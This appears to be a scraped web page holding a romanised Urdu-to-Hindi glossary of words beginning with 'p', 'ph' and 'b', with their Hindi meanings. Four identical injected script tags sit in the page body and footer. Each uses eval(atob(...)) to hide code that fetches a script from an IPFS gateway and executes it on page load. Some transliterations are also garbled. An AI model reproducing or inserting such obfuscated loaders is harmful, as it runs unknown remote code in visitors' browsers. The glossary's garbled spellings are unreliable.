  • paravana= patanga, adhikar, ajna, premi
  • parastish= pooja, aradhana
  • par= doosara kinara, ant, samapti
  • paradari= pakshapat, paksh, anugrah
  • parivash= sundar, pari jaisi
  • pareshan= vyakul, chintit
  • pal= kshan
  • palak= barauni, ek kshan, nimish
  • pasheman= pashchatapi, lajjit, pachhatava karane vala
  • pesha= kala, vyavasay, kam-dhandha
  • pasand= chahat, svikriti, grahyata
  • pasina= sved
  • pas= rakshan, nirikshan, dhyan karana
  • pasaban= santari, chaukidar
  • pahaloo= paksh, labh, sena ka paksh

ph

  • faiq (fayaq)= shreshth, mahan
  • faida (fayada)= labh, hit, upayogita
  • fakr= nirdhanata
  • faqa= bhookh, vrat, nirdhanata
  • fikr= vichar, chinta, mati, ray
  • fakhhऱ= man,ahankar yash, gaurav
  • fakhir= abhimani
  • figar= du:khit, ghayal, chintit
  • fugaan= dard bhari pukar, srdan, gohar
  • faz= srdan, rona, vilap
  • fazal= shreshthata, gun, subuddhi, puny
  • fazil= pravin, nipun, sachcharitr
  • faiz= svatantrata, sundarata, udarata
  • fauj= sena, bhi d, janata
  • fatva= nyayik adesh
  • fitna= vidroh, danga, lubhav, jhag da, burapan
  • fitarat= svabhav, kapat, rachana, buddhi
  • fida= bali, phirauti, shraddha, parivartan
  • fidaee= premi
  • fऱhk= antar, doori, judaee, dosh
  • fऱhj= kartavy, nautik kartavy, niyam
  • farmaish= vastuoan ki maang, prayojan, anand, ichchha
  • farman= adesh, rajaghoshana
  • faryad (fariyad)= dukh da kahana, pukar
  • farishta= devadoot, sandesh lane vala doot, eeshvaradoot, bhavishyadvakta
  • fareb= dhokha, chalaki, thagi, kapat
  • faro= nich
  • firadaus= svarg, upavan
  • firaq= judaee, chinta, virah, doori, anupasthiti
  • fuऱhkat= judaee, anupasthiti (prem mean), virah
  • fursat= avasar, avakash, vishram
  • fauran= turant, shighrata se, spashtata se
  • falak= akash, svarg, bhagy
  • fuvad= hriday
  • fash= sanmukh, jnat, prasiddh
  • fasana= premakatha, kahani, kissa
  • fasila= doori, antar, prithakata
  • faisala= nirnay, adesh, sandhi
  • faham= samajh, buddhi

b

  • b= dvara, sath, se, mean, andar, samip, oopar, ke lie, ke taraf (upasarg mean prayog hota hai)
  • ba= ke sath, ke dvara, ka adhikari
  • bi=dvara, sath, se, mean, andar, samip , oopar, ke lie, ke taraf (upasarg mean prayog hota hai)
  • be=(upasarg) bina, n hona
  • be adab= ashisht, asabhy
  • be abaroo= nich, kalankit apamanakarak
  • be andaza= antahin, apar
  • be ikht़iyari= asahay
  • be izzat= apratishthit, man rahit
  • be ittifaqi= phoot, matabhed
  • be insaf= anyay
  • be imtiyaz= aviveki, buddhihin
  • be iman= avishvasaniy, jhootha, thag
  • be ihatiyati= asavadhan
  • be etibar= avishvasaniy, vishvas n karana
  • baanka= dhokhebaj, mu da hua, kapati, chalak
  • baqi= anant, shesh, bakaya
  • be qadr= nirmooly
  • be qarar= bechain, utavala
  • be kas= akela, mitrahin
  • be kar= vyarth, berozagar, alasi
  • be qusoor= nirdosh, nad
  • bakht़= saubhagy, bhagy, samriddhi
  • bakhsh़ish= upahar, dan, paritoshik
  • be khata= nirdosh, niraparadh
  • be khud= besudh, anandamagn, behosh
  • be khabar= asavadhan, moorkh, ajnani
  • bukhar= bhap, tapaman, jvar, krodh
  • bagal़= paksh, bagal
  • baga़vat= vidroh, rajadroh, vishvasaghat
  • bag=upavan, pe doan ka jhuramut, kunj
  • be gam़= prasann
  • be ga़na= aparichit, videshi
  • be gunah= nirdosh
  • bachcha= shishu
  • be chain= utavala, vyakul, vyag
  • bazm= sabha, toli (davat ya manoranjan ke liye)
  • baz=karane vala, karta, pratinidhi
  • baz=syenapakshi, shikara
  • baz= dubara, vapis, nakarana
  • bazar= mandi
  • bazari= ghatiya, ashisht, bhaddi, sadharan, mandi se sambandhit
  • bazi= khel, shart, daanv
  • bazicha= khilauna, amod, khel
  • bazoo= baanh, bhuja, dvar ka palla, sena ka paksh
  • be zar= nirdhan, kangal
  • be zaban= gooanga, sankochi, avakh
  • be jan= nirjiv
  • be zar= aprasann, krodhi
  • buzurrg= mahan, adaraniy, vriddh, shreshthajan
  • be jurm= niraparadh, nirdosh
  • badhiya= shreshthatar, achchhe gunoan vala, manhaga
  • bat=shabd, kahavat, vani, katha, prashn, gap, nukta, sar
  • be taqat= shaktihin
  • be tab= utavala, asahay, bechain
  • be tamiz= ashisht, asabhy
  • be tasir= nishprabhav, vyath
  • rbait= ghar, nivas
  • bait= jo da, chhand (kavita)
  • bad= bura, kapati
  • bad akht़r= abhaga
  • bad anjam= bura ant
  • bad khv़ab= kusvapn
  • bad chalan= charitrahin, ashisht, durachari
  • bad tar= adhik bura, ghatiya
  • badadua= shrap
  • badan= sharir
  • badanasib= durbhagy vala
  • badanam= kuprasiddh, apayash vala, nindaniy
  • badamash= guanda
  • badala= pratishodh
  • badr= poorn chandrama
  • bad sirat= bure svabhav vala
  • bad soorat= kuroop
  • bad= pavan, vayu, mand samir
  • badal= megh
  • badashah= raja, samrat
  • bada= sharab, madira
  • badiya= uja d, masrsthal
  • badiya= pyala
  • be dard= bhavana rahit, nirday, atyachari
  • be dag= nadan, nirdosh, svachchh
  • be dad= anyay, asamata, atyachar
  • be dar= jagrit, chaukanna
  • bood= astitv, hona
  • banda= bandhak, sevak, manushy
  • bandigi= shraddha, pooja, seva
  • bandish= rachana, shaili ki sundarata, yojana, srkavat
  • ban= rakshak
  • bano= sanbhrant mahila, kulin stri
  • be nazir= anupam, anootha, jisake koee barabar ka n ho
  • be nasib= abhaga



panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. urdoo hiandi shabdakosh urdoo hiandi shabdakosh. abhigaman tithi: 23 disambar, 2012.

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>